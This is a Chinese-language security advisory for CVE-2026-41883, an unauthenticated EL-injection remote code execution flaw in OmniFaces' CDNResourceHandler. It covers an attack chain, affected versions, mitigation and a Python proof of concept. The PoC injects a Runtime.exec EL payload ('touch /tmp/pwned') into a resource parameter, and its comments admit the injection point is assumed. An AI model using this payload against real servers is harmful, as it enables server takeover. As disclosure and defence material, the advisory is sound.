IPBUF安全漏洞报告
English
CVE-2026-41883 CVSS 8.1 高危

CVE-2026-41883 OmniFaces 远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41883
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OmniFaces

相关标签

远程代码执行EL注入OmniFacesRCEJava EEJSF

漏洞概述

OmniFaces是一个用于JSF的实用库。在特定版本之前,当应用使用CDNResourceHandler并配置了通配符CDN映射时,存在服务器端EL注入漏洞。攻击者可构造包含恶意EL表达式的资源请求URL,导致服务器端解析并执行任意代码,从而实现远程控制服务器。

技术细节

该漏洞的核心在于OmniFaces库中CDNResourceHandler对资源名称的处理逻辑存在缺陷。具体而言,当应用程序启用了通配符CDN映射功能(例如配置为`libraryName:*=https://cdn.example.com/*`)以便统一管理资源时,该组件会直接从用户请求的URL中提取资源名称。由于缺乏对EL表达式分隔符(如`#{`和`}`)的有效过滤,攻击者可以将恶意的Expression Language代码注入到资源名称参数中。服务器端在解析资源路径时,会调用EL解析器处理这部分内容。由于EL在JSF环境中拥有访问Java对象和API的权限,攻击者可以利用`Runtime.getRuntime().exec()`等方法执行任意系统命令,从而完全控制服务器。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了OmniFaces库,并且启用了带有通配符映射的CDNResourceHandler。
STEP 2
构造载荷
攻击者构造一个包含恶意Java EL表达式(例如调用Runtime.exec)的URL,该表达式旨在执行系统命令。
STEP 3
发送请求
攻击者向服务器发送特制的HTTP请求,将恶意载荷注入到资源请求的参数或路径中。
STEP 4
代码执行
服务器端CDNResourceHandler未经过滤直接处理该资源名称,导致EL解析器执行恶意代码,攻击者获得服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests """ Proof of Concept for CVE-2026-41883 (OmniFaces EL Injection) Target: OmniFaces application with wildcard CDN mapping enabled. Description: This script sends a malicious request containing an EL expression to execute a system command (e.g., 'touch /tmp/pwned' on Linux). """ target_url = "http://localhost:8080/app/javax.faces.resource/fake.js.xhtml" # EL payload to execute a shell command # Example: Creating a file to prove execution payload = "#{request.servletContext.getClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}" # Parameters typically used in CDN resource handling # 'ln' often matches the library name mapping, 'r' or resource identifier might hold the injection point # Depending on the exact implementation, the injection point might be in the path or query parameter. # Here we assume the resource identifier is vulnerable. params = { "ln": "*", # Wildcard library mapping "r": payload # Injecting EL into the resource name } try: response = requests.get(target_url, params=params) print(f"[+] Request sent to: {response.url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Request successful. Check if the command was executed on the target.") else: print("[-] Request failed or server returned an error.") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OmniFaces < 1.14.2
OmniFaces 2.x < 2.7.32
OmniFaces 3.x < 3.14.16
OmniFaces 4.x < 4.7.5
OmniFaces 5.x < 5.2.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用CDNResourceHandler中的通配符CDN映射功能,改为明确指定允许的CDN资源库,以阻断恶意EL表达式的注入路径。

参考链接